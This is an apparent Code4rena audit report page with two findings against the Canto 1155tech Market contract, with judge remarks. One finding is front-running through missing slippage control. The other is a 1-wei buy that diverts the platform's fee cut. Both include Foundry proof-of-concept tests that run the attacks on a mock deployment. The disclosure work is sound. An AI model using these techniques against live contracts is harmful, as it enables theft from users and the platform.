Platform: Code4rena
Start Date: 13/11/2023
Pot Size: $24,500 USDC
Total HM: 3
Participants: 120
Period: 4 days
Judge: 0xTheC0der
Id: 306
League: ETH
Rank: 66/120
Findings: 2
Award: $5.45
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: rvierdiiev
Also found by: 0x175, 0x3b, 0xMango, 0xarno, 0xpiken, Bauchibred, DarkTower, ElCid, Giorgio, HChang26, Kose, KupiaSec, Madalad, PENGUN, Pheonix, RaoulSchaffranek, SpicyMeatball, T1MOH, Tricko, Udsen, Yanchuan, aslanbek, ast3ros, bart1e, bin2chen, chaduke, d3e4, deepkin, developerjordy, glcanvas, inzinko, jasonxiale, jnforja, mahyar, max10afternoon, mojito_auditor, neocrao, nmirchev8, openwide, osmanozdemir1, peanuts, pep7siup, peritoflores, pontifex, rice_cooker, rouhsamad, t0x1c, tnquanghuy0512, turvy_fuzz, twcctop, ustas, vangrim, zhaojie, zhaojohnson
1.3743 USDC - $1.37
https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L174
The Market contract uses a bonding curve to compute the price of the assets being bought or sold, both the buy and the sell function, don't apply any of slippage control meaning that they can both be front ran for a profit.
Both the buy and the sell function, are using a bonding curve to compute the price of the shares. using the getBuyPrice and the getSellPrice functions:
function getBuyPrice(uint256 _id, uint256 _amount) public view returns (uint256 price, uint256 fee) { // If id does not exist, this will return address(0), causing a revert in the next line address bondingCurve = shareData[_id].bondingCurve; (price, fee) = IBondingCurve(bondingCurve).getPriceAndFee(shareData[_id].tokenCount + 1, _amount); }
function getSellPrice(uint256 _id, uint256 _amount) public view returns (uint256 price, uint256 fee) { // If id does not exist, this will return address(0), causing a revert in the next line address bondingCurve = shareData[_id].bondingCurve; (price, fee) = IBondingCurve(bondingCurve).getPriceAndFee(shareData[_id].tokenCount - _amount + 1, _amount); }
This functions are both, internally calling LinearBondingCurve.getPriceAndFee(uint256 shareCount, uint256 amount), which will return the price of the assets and fees:
function getPriceAndFee(uint256 shareCount, uint256 amount) external view override returns (uint256 price, uint256 fee) { for (uint256 i = shareCount; i < shareCount + amount; i++) { uint256 tokenPrice = priceIncrease * i; price += tokenPrice; fee += (getFee(i) * tokenPrice) / 1e18; } }
In short, getPriceAndFee is meant to implement linear bonding curve: buying more assets will increase the price, while selling them will decrease it.
Since neither buy or sell have slippage control, anyone can front run a buy call with a buy of their own (increasing the price), let the user's buy to be executed (further increasing the price), and then sell their asset at the increased price. For as long as the price increase outweighs the fee cost, this will be profitable, while increasing the price paid by the user (The same, but in the opposite order could be done with sell).
Here is a foundry script showing that such scenario is possible and profitable.
Place it in the /1155tech-contracts/src/test/
folder to preserve dependencies:
pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "../Market.sol"; import "../bonding_curve/LinearBondingCurve.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "forge-std/console.sol"; contract MockERC20 is ERC20 { constructor( string memory name, string memory symbol, uint256 initialSupply ) ERC20(name, symbol) { _mint(msg.sender, initialSupply); } function mint() external { _mint(msg.sender, 1000e18); } function burn() external { _burn(msg.sender, balanceOf(msg.sender)); } } contract MarketTest is Test { Market market; LinearBondingCurve bondingCurve; MockERC20 token; uint256 constant LINEAR_INCREASE = 1e18 / 1000; address account1; address account2; address owner; function setUp() public { bondingCurve = new LinearBondingCurve(LINEAR_INCREASE); token = new MockERC20("Mock Token", "MTK", 1e32); owner = address(0x123); account1 = address(1); account2 = address(2); vm.prank(owner); market = new Market("http://uri.xyz", address(token)); } function testFrontRun() public { //set up token.approve(address(market), type(uint256).max); vm.startPrank(account1); token.mint(); token.approve(address(market), type(uint256).max); vm.stopPrank(); vm.startPrank(owner); market.changeBondingCurveAllowed(address(bondingCurve), true); market.restrictShareCreation(false); uint shareID1 = market.createNewShare("Test Share1", address(bondingCurve), "metadataURI"); vm.stopPrank(); //PoC uint256 frontrunnerBalanceBefore = token.balanceOf(account1); console.log(frontrunnerBalanceBefore); vm.prank(account1); market.buy(shareID1, 100); //frontrunner buys market.buy(shareID1, 100); //regular user deposits vm.prank(account1); market.sell(shareID1,100); //frontrunner sells uint256 frontrunnerBalanceAfter = token.balanceOf(account1); console.log(frontrunnerBalanceAfter); assertGt(frontrunnerBalanceAfter, frontrunnerBalanceBefore); } }
buy and sell could allow the user to specify the minimum amount of tokens to receive in return
Other
#0 - c4-pre-sort
2023-11-18T10:30:13Z
minhquanym marked the issue as duplicate of #12
#1 - c4-judge
2023-11-28T23:14:14Z
MarioPoneder changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-11-28T23:33:53Z
MarioPoneder marked the issue as satisfactory
🌟 Selected for report: chaduke
Also found by: 0xpiken, Bauchibred, Matin, MohammedRizwan, MrPotatoMagic, OMEN, Pheonix, SandNallani, T1MOH, Topmark, ZanyBonzy, adriro, aslanbek, ayden, bareli, bart1e, bin2chen, btk, cheatc0d3, codynhat, critical-or-high, d3e4, erebus, firmanregar, hunter_w3b, jasonxiale, kaveyjoe, ksk2345, lsaudit, max10afternoon, merlinboii, nailkhalimov, osmanozdemir1, peanuts, pep7siup, pontifex, sbaudh6, shenwilly, sl1, tourist, wisdomn_, young, zhaojie
4.0797 USDC - $4.08
https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L293
A user, when tokensInCirculation = 0
, can precede their buy call, with a 1 wei purchase, from a different account, to get a 33% discount on the fees, causing a loss to the platform. Or they can front run a large deposit from another user with a 1 wei purchase, causing a loss to the platform while profiting them self (depending on the prices).
Users can buy shares, calling the buy function:
function buy(uint256 _id, uint256 _amount) external { require(shareData[_id].creator != msg.sender, "Creator cannot buy"); (uint256 price, uint256 fee) = getBuyPrice(_id, _amount); // Reverts for non-existing ID SafeERC20.safeTransferFrom(token, msg.sender, address(this), price + fee); // The reward calculation has to use the old rewards value (pre fee-split) to not include the fees of this buy // The rewardsLastClaimedValue then needs to be updated with the new value such that the user cannot claim fees of this buy uint256 rewardsSinceLastClaim = _getRewardsSinceLastClaim(_id); // Split the fee among holder, creator and platform _splitFees(_id, fee, shareData[_id].tokensInCirculation); rewardsLastClaimedValue[_id][msg.sender] = shareData[_id].shareHolderRewardsPerTokenScaled; shareData[_id].tokenCount += _amount; shareData[_id].tokensInCirculation += _amount; tokensByAddress[_id][msg.sender] += _amount; if (rewardsSinceLastClaim > 0) { SafeERC20.safeTransfer(token, msg.sender, rewardsSinceLastClaim); } emit SharesBought(_id, msg.sender, _amount, price, fee); }
Notice that the fees' parameters are updated before "minting" the new shares, meaning that the fees from that transaction won't be distributed to the freshly minted tokens.
The buy function internally calls _splitFees to distribute the fees between the creator, the holders and the platform:
function _splitFees( uint256 _id, uint256 _fee, uint256 _tokenCount ) internal { uint256 shareHolderFee = (_fee * HOLDER_CUT_BPS) / 10_000; uint256 shareCreatorFee = (_fee * CREATOR_CUT_BPS) / 10_000; uint256 platformFee = _fee - shareHolderFee - shareCreatorFee; shareData[_id].shareCreatorPool += shareCreatorFee; if (_tokenCount > 0) { shareData[_id].shareHolderRewardsPerTokenScaled += (shareHolderFee * 1e18) / _tokenCount; } else { // If there are no tokens in circulation, the fee goes to the platform platformFee += shareHolderFee; } platformPool += platformFee; }
Notice that buy calls _splitFees, with shareData[_id].tokensInCirculation
as the _tokenCount
parameter, meaning that:
tokensInCirculation
is 0, the shareHolderFee
cut of the fees should go to the platformtokensInCirculation
is 1, all the shareHolderFee
cut will go to the only share existing.This opens up two scenarios:
When tokensInCirculation = 0
(either because of NFT minting or if the user is the first buyer), a user can precede their "real" deposit with a 1 wei buy from another account, this will cause the tokensInCirculation
to be > 0, meaning that the shareHolderFee
cut won't go to the platform, also since the token minted will be the only token present in shareData[_id].tokensInCirculation
, all the shareHolderFee
fees from the upcoming deposit will go the account that has previously deposited, which is also controlled by the user, resulting in a discount. If the deposit is large enough this can result in an substantial loss to the platform, as the 33% fee cut of the holders, should go to it when tokensInCirculation = 0
.
When tokensInCirculation = 0
(either because of NFT minting or if the user is the first buyer), a user can front run the next deposit by other users with a 1 wei buy (or simply buy 1 wei worth of shares and wait for the first deposit to happen), since they will hold the only existing share, they will get the entire 33% fee cut from the next deposit (which would have gone to the platform otherwise), at the price of only 1 wei of shares, revenue that should have gone to the platform instead. Since gas fees on Canto are very cheap this will be often profitable.
Here is a foundry script that shows both scenarios.
Place it in the /1155tech-contracts/src/test/
folder to preserve dependencies:
pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "../Market.sol"; import "../bonding_curve/LinearBondingCurve.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "forge-std/console.sol"; contract MockERC20 is ERC20 { constructor( string memory name, string memory symbol, uint256 initialSupply ) ERC20(name, symbol) { _mint(msg.sender, initialSupply); } function mint() external { _mint(msg.sender, 1000e18); } function burn() external { _burn(msg.sender, balanceOf(msg.sender)); } } contract MarketTest is Test { Market market; LinearBondingCurve bondingCurve; MockERC20 token; uint256 constant LINEAR_INCREASE = 1e18 / 1000; address account1; address account2; address owner; function setUp() public { bondingCurve = new LinearBondingCurve(LINEAR_INCREASE); token = new MockERC20("Mock Token", "MTK", 1e32); owner = address(0x123); account1 = address(1); account2 = address(2); vm.prank(owner); market = new Market("http://uri.xyz", address(token)); } function testSelfDiscount() public { //set up token.approve(address(market), type(uint256).max); vm.startPrank(account2); token.mint(); token.approve(address(market), type(uint256).max); vm.stopPrank(); vm.startPrank(account1); token.mint(); token.approve(address(market), type(uint256).max); vm.stopPrank(); vm.startPrank(owner); market.changeBondingCurveAllowed(address(bondingCurve), true); market.restrictShareCreation(false); uint shareID1 = market.createNewShare("Test Share1", address(bondingCurve), "metadataURI"); uint shareID2 = market.createNewShare("Test Share2", address(bondingCurve), "metadataURI"); vm.stopPrank(); assertEq(token.balanceOf(owner), 0); /// User buys regularly /// uint256 userInitialBalance = token.balanceOf(address(this)); market.buy(shareID1, 100); market.claimHolderFee(shareID1); //should be 0 uint256 tokenSPentByUserOnShare1 = userInitialBalance - token.balanceOf(address(this)); //how much user has spent console.log(tokenSPentByUserOnShare1); vm.prank(owner); market.claimPlatformFee(); uint256 regularRevenueFromfees = token.balanceOf(owner); //how much the platform has profited console.log(regularRevenueFromfees); //reset vm.prank(owner); token.burn(); assertEq(token.balanceOf(owner), 0); /// User buys maliciously /// userInitialBalance = token.balanceOf(account2) + token.balanceOf(account1); vm.prank(account1); market.buy(shareID2, 1); vm.prank(account2); market.buy(shareID2, 99); vm.prank(account1); market.claimHolderFee(shareID2); uint256 tokenSPentByUserOnShare2 = userInitialBalance - (token.balanceOf(account2) + token.balanceOf(account1)); console.log(tokenSPentByUserOnShare2); vm.prank(owner); market.claimPlatformFee(); uint256 decreasedRevenueFromfees = token.balanceOf(owner); console.log(decreasedRevenueFromfees); //results assertGt(tokenSPentByUserOnShare1, tokenSPentByUserOnShare2); //The user on share 2 got a discount assertGt(regularRevenueFromfees, decreasedRevenueFromfees); //While the platform has lost revenue } function testFrontRun() public { //set up token.approve(address(market), type(uint256).max); vm.startPrank(account1); token.mint(); token.approve(address(market), type(uint256).max); vm.stopPrank(); vm.startPrank(owner); market.changeBondingCurveAllowed(address(bondingCurve), true); market.restrictShareCreation(false); uint shareID1 = market.createNewShare("Test Share1", address(bondingCurve), "metadataURI"); vm.stopPrank(); //PoC uint256 frontrunnerBalanceBefore = token.balanceOf(account1); console.log(frontrunnerBalanceBefore); vm.prank(account1); market.buy(shareID1, 1); //frontrunner buys 1 share market.buy(shareID1, 100); //regular user deposits vm.prank(account1); market.claimHolderFee(shareID1); uint256 frontrunnerBalanceAfter = token.balanceOf(account1); console.log(frontrunnerBalanceAfter); assertGt(frontrunnerBalanceAfter, frontrunnerBalanceBefore); } }
A minimum deposit limit would make those scenarios disadvantageous.
Other
#0 - c4-pre-sort
2023-11-20T15:43:54Z
minhquanym marked the issue as insufficient quality report
#1 - MarioPoneder
2023-11-29T17:11:12Z
Initial edge-case:
A user, when
tokensInCirculation = 0
, ...
#2 - c4-judge
2023-11-29T17:11:18Z
MarioPoneder changed the severity to QA (Quality Assurance)
#3 - c4-judge
2023-11-29T22:34:56Z
MarioPoneder marked the issue as grade-b